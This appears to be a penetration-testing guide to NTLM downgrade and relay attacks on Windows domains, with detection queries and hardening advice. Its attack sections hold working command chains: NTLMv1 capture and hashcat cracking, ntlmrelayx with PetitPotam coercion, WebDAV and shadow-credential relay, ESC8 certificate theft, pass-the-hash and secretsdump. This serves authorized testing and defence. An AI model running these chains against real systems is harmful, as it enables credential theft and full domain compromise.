9 min read

NTLM Downgrade & Advanced Relay

Modern NTLM attacks go beyond basic relay — NTLMv2 to NTLMv1 downgrade enables cracking via rainbow tables, "Drop the MIC" strips the integrity check on unpatched targets, and WebDAV relay turns SMB authentication into HTTP so SMB signing never applies. The downgrade path is legacy-estate only: NTLMv1 is removed in Windows 11 24H2 and Windows Server 2025, so it only matters where older build levels remain in scope.

Danger

NTLM relay attacks intercept and forward authentication traffic. Ensure you have explicit authorization for man-in-the-middle testing and carefully scope which hosts to target.

Why This Matters

  • NTLMv1 Is Trivially Crackable (Legacy Estates): NTLMv1 hashes can be cracked to NTLM in seconds using rainbow tables (crack.sh) — but NTLMv1 is removed in Windows 11 24H2 / Windows Server 2025, so this applies only to older clients still in service.
  • Signing Bypass: Drop the MIC removes the Message Integrity Code from NTLM relay, defeating signing enforcement on unpatched targets like LDAP.
  • WebDAV = No SMB Signing: WebDAV relay converts SMB authentication into HTTP NTLM, which isn't subject to SMB signing requirements.
  • NTLM Still Everywhere: Despite Microsoft pushing Kerberos, most Windows environments still allow NTLM fallback authentication.

NTLMv2 → NTLMv1 Downgrade

By default, modern Windows uses NTLMv2 which includes a server challenge making offline cracking impractical. However, if you control the server responding to the NTLM authentication, you can request NTLMv1 by setting specific NTLMSSP negotiation flags. The captured NTLMv1 response can then be cracked instantly.

Downgrade with Responder

downgrade-with-responder.sh
# Responder with NTLMv1 downgrade
# Legacy estates only: the client must be older than Windows 11 24H2 /
# Windows Server 2025, which removed NTLMv1 entirely
python3 Responder.py -I eth0 --lm

# Capture format (with ESS disabled):
# user::domain:LM_RESPONSE:NTLM_RESPONSE:SERVER_CHALLENGE

Warning

Version boundary — read before using --lm: NTLMv1 is removed in Windows 11 24H2 and Windows Server 2025 (Microsoft's removed-features list), so on those builds the client never answers with an NTLMv1 response and responder --lm collects nothing. Both --lm and the LmCompatibilityLevel tuning below are therefore legacy-estate techniques for Windows 11 23H2 / Server 2022 and earlier. Where they still apply, downgrade depends on the client's level: Level 0-2 sends LM/NTLM responses (vulnerable), Level 3-5 sends NTLMv2 only (downgrade blocked). Most modern Windows defaults are level 3, but legacy systems at 0-2 remain in service.

Downgrade with InternalMonologue

InternalMonologue performs NTLMv1 downgrade entirely locally — it temporarily sets LmCompatibilityLevel=0, captures NTLMv1 hashes for all logged-on users, then restores the original setting. No network traffic is generated and output is directly submittable to crack.sh for instant NTLM hash recovery. On Windows 11 24H2 / Server 2025 it returns nothing, because NTLMv1 is no longer present to downgrade to.

downgrade-with-internalmonologue.ps1
# Perform local NTLMv1 downgrade and capture all logged-on user hashes
InternalMonologue.exe -Downgrade True -Restore True -Impersonate True

Cracking NTLMv1

NTLMv1 uses DES internally — the response can be split into 3 DES keys for brute-force cracking. Alternatively, submit directly to crack.sh (free rainbow table service) for instant recovery.

cracking-ntlmv1.sh
# Convert NTLMv1 response to format for rainbow tables
python3 ntlmv1-multi.py --ntlmv1 "user::CORP:RESPONSE:RESPONSE:CHALLENGE"

# DES brute-force with hashcat (split into 3 DES keys)
hashcat -m 14000 -a 3 des_key1.hash ?h?h?h?h?h?h?h?h
hashcat -m 14000 -a 3 des_key2.hash ?h?h?h?h?h?h?h?h

# Use recovered NTLM hash for pass-the-hash
nxc smb target -u user -H 'recovered-ntlm-hash'

Drop the MIC (CVE-2019-1040)

The MIC (Message Integrity Code) in NTLM prevents tampering with authentication messages during relay. "Drop the MIC" removes or modifies the MIC flag, allowing relay to targets that require signing (like LDAP/S). While patched in June 2019, many environments remain unpatched or have legacy systems vulnerable.

drop-the-mic-cve-2019-1040.sh
# ntlmrelayx with MIC removal (for unpatched targets)
ntlmrelayx.py -t ldaps://dc01.corp.local --remove-mic \
  --delegate-access --escalate-user 'FAKECOMP$'

# Combine with coercion for unauthenticated RBCD
# Step 1: Start relay
ntlmrelayx.py -t ldaps://dc01.corp.local --remove-mic --delegate-access

# Step 2: Coerce authentication
python3 PetitPotam.py attacker-ip target.corp.local

# If target DC is unpatched, MIC is stripped and LDAP relay succeeds
# even though LDAP signing is "required"

EPA (Extended Protection for Authentication) Bypass

EPA (Channel Binding) ties NTLM auth to the TLS channel, blocking relay. Bypass by relaying via HTTP (no TLS = no channel binding) or targeting endpoints without EPA configured — AD CS web enrollment is a common target.

epa-extended-protection-for-authentication.sh
# ntlmrelayx — relay to HTTP endpoints that lack EPA
ntlmrelayx.py -t http://adcs.corp.local/certsrv/certfnsh.asp \
  --adcs --template DomainController

WebDAV NTLM Relay

WebDAV relay is one of the most powerful relay techniques because it converts SMB→HTTP. Since HTTP doesn't enforce SMB signing, you can relay to targets even when SMB signing is required. The WebClient service must be running on the source machine.

webdav-ntlm-relay.sh
# Check if WebClient service is running (required for WebDAV)
nxc smb targets.txt -u user -p 'Pass123' -M webdav

# Start WebDAV relay — listen on HTTP, relay to LDAPS
ntlmrelayx.py -t ldaps://dc01.corp.local --delegate-access \
  --serve-image ./trigger.jpg

# Trigger WebDAV auth — use UNC with hostname (NOT IP) on port 80
# Drop on a writable share or send via phishing
# \\attacker@80\share\file.txt

# Start WebClient service remotely (required for WebDAV)
python3 webclientservicescanner.py -u user -p Pass123 -d corp.local targets.txt

Information

SearchConnector trigger: Drop a .searchConnector-ms file on a writable share. \n When a user browses the folder, Windows automatically makes a WebDAV connection to your listener, \n sending their NTLM credentials for relay.

Relay to Shadow Credentials

relay-to-shadow-credentials.sh
# Relay coerced authentication to add Shadow Credentials
# instead of RBCD — useful when MachineAccountQuota = 0
ntlmrelayx.py -t ldaps://dc01.corp.local --shadow-credentials \
  --shadow-target 'TARGET-SRV$'

# After relay succeeds, use the generated PFX certificate
# to authenticate as the target machine
python3 gettgtpkinit.py -cert-pfx target.pfx -pfx-pass password \
  corp.local/'TARGET-SRV$' target.ccache

# Extract NT hash from the PAC
python3 getnthash.py -key <AS-REP-key> corp.local/'TARGET-SRV$'

# Use the machine hash for secretsdump
secretsdump.py -hashes :machine-hash corp.local/'TARGET-SRV$'@target-srv.corp.local

Relay to AD CS (ESC8)

relay-to-ad-cs-esc8.sh
# Relay NTLM auth to AD CS HTTP enrollment endpoint
# to get a certificate as the coerced machine
ntlmrelayx.py -t http://adcs.corp.local/certsrv/certfnsh.asp \
  --adcs --template Machine

# Combine with PetitPotam for DC certificate
python3 PetitPotam.py attacker-ip dc01.corp.local

# ntlmrelayx captures the DC's certificate
# Use it to authenticate and DCSync
python3 gettgtpkinit.py -cert-pfx dc01.pfx corp.local/dc01$ dc01.ccache
export KRB5CCNAME=dc01.ccache
secretsdump.py -k -no-pass dc01.corp.local

Detection & Blue Team

Event ID Source Indicator
4624 Security Logon with NTLMv1 — AuthenticationPackageName=NTLM, LmPackageName=NTLM V1
8001 NTLM NTLM authentication — filter for NTLMv1 vs NTLMv2
4648 Security Explicit credential logon — relay creates authentication from unexpected IPs
ntlm-detection.txt
// KQL — Detect NTLMv1 authentication attempts
SecurityEvent
| where EventID == 4624
| where AuthenticationPackageName == "NTLM"
| where LmPackageName == "NTLM V1"
| project TimeGenerated, TargetUserName, WorkstationName, IpAddress

// Detect NTLM relay — source IP != workstation IP
SecurityEvent
| where EventID == 4624
| where AuthenticationPackageName == "NTLM"
| where IpAddress != WorkstationName and IpAddress != ""
| project TimeGenerated, TargetUserName, WorkstationName, IpAddress

Evidence Collection

The capture: The NTLM response in the format you recovered it, with the negotiation flags that show which version answered.

The downgrade: For the legacy path: the client build that answered NTLMv1, and the LmCompatibilityLevel it ran. On 24H2 / Server 2025 there is nothing to capture, and that is the finding.

The relay: Source authentication, relay destination and the resulting context — a certificate, an RBCD write, a session.

The recovered credential: The NTLM hash or password, and one successful authentication with it.

CVSS range: NTLMv1 downgrade with hash recovery: 7.5–8.1 · Drop the MIC relay to LDAPS: 8.8 · ESC8 relay for a DC certificate: 9.8.

False Positive Identification

  • An NTLMv2 response that will not crack: NTLMv2 is not a downgrade. If the client answered v2, the legacy path did not work — say so instead of reporting a weak authentication.
  • A relay that authenticated but achieved nothing: A session to a host you already had is not escalation. Name the target and what it granted.
  • Drop the MIC on a patched target: CVE-2019-1040 is patched since June 2019. If the target rejects the relay, the finding is the missing patch on a different host or none at all.
  • WebDAV relay without the WebClient service: No WebClient, no WebDAV authentication. Check the service state before reporting the channel.
  • LDAP signing "not required": A policy that is not enforced is the precondition for the relay finding, not the finding. The write is the finding.
  • A certificate issued by auto-enrolment: Machines enrol routinely. Correlate the request with your relay before calling it a coerced certificate.

Testing Checklist

Establish what answers

  • ☐ Identify client build levels in scope — NTLMv1 only exists below 24H2 / Server 2025
  • ☐ Check LmCompatibilityLevel on a sample of hosts
  • ☐ Map SMB signing, LDAP signing and EPA state per target
  • ☐ Check whether the WebClient service runs where WebDAV relay matters

Capture or relay once

  • ☐ Capture one response and record the version and flags
  • ☐ If relaying, choose the destination and confirm the control state first
  • ☐ Complete the chain to one action, then stop
  • ☐ Remove any RBCD attribute or shadow credential the relay created

Remediation & Hardening

Remove the downgrade

  • • Retire pre-24H2 / Server 2022 build levels that can still answer NTLMv1 — on 24H2 and Server 2025 it is removed
  • • Where legacy clients remain, set LmCompatibilityLevel=5 by GPO to refuse NTLMv1
  • • Disable NTLM where Kerberos can carry the authentication; audit the applications that block it

Close the relay targets

  • • Require SMB signing on all machines — note that 24H2 / Server 2025 already does this by default
  • • Enable EPA (channel binding) on LDAPS and on AD CS endpoints
  • • Disable the WebClient service where WebDAV is not needed
  • • Retire HTTP enrolment on AD CS in favour of HTTPS with EPA

Detect the attempt

  • • Alert on 4624 with LmPackageName = NTLM V1 — anything at all is legacy residue
  • • Correlate 4624 NTLM logons where the source IP is not the workstation
  • • Alert on certificate requests from machine accounts outside the enrolment window